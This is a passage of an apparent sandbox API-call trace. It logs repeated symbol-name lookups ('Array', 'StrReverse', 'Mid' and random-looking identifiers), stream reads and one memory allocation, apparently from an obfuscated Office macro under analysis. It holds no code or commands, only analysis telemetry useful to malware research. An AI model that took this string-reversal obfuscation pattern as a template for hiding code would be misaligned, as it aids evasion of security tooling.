lcid=0x409, szName="Mid") returned 0x10b3dc [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MzABWz") returned 0x10af08 [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MCOrtwmhT") returned 0x10ae6c [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qczLSGObk") returned 0x1027ae [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HnOrl") returned 0x106a8c [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZWVIimwjCkk") returned 0x10cdc8 [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.282] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="YkZMlq") returned 0x105eee [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.283] CExposedStream::Read () returned 0x0 [0018.283] CExposedStream::Read () returned 0x0 [0018.284] CExposedStream::Read () returned 0x0 [0018.284] CExposedStream::Read () returned 0x0 [0018.284] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x6b60000 [0018.285] CExposedStream::Read () returned 0x0 [0018.285] CExposedStream::Read () returned 0x0 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SlJhGLZtfN") returned 0x107cc8 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZkXmU") returned 0x108b58 [0018.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kVZlTXVjRk") returned 0x10f42b [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uRROKRhMtw") returned 0x100631 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jmHpcm") returned 0x10b1d8 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uOnvDA") returned 0x109168 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zkiNszh") returned 0x108625 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.286] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EuVLv") returned 0x10410f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HFmrvSAclO") returned 0x10aff4 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nKpiRbZUA") returned 0x10abbe [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pQLrXBk") returned 0x10746a [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NVrUvBitSF") returned 0x10e0dc [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oQLcsdsM") returned 0x1071c1 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pHRiGRObCH") returned 0x10e118 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.288] CExposedStream::Read () returned 0x0 [0018.288] CExposedStream::Read () returned 0x0 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="YEHFTaFvCFT") returned 0x107d5c [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="orRccM") returned 0x10700f [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.288] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OwcMTMpz") returned 0x108512 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SUKaGv") returned 0x100eab [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ztkRIWDVBh") returned 0x108e4d [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iYSVQDo") returned 0x101704 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZXwOZQsY") returned 0x107789 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TLksipZ") returned 0x10e7cc [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LtVATGhGk") returned 0x104502 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LfrqYul") returned 0x1023be [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="owRBPJW") returned 0x109508 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.290] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RcbnDP") returned 0x100785 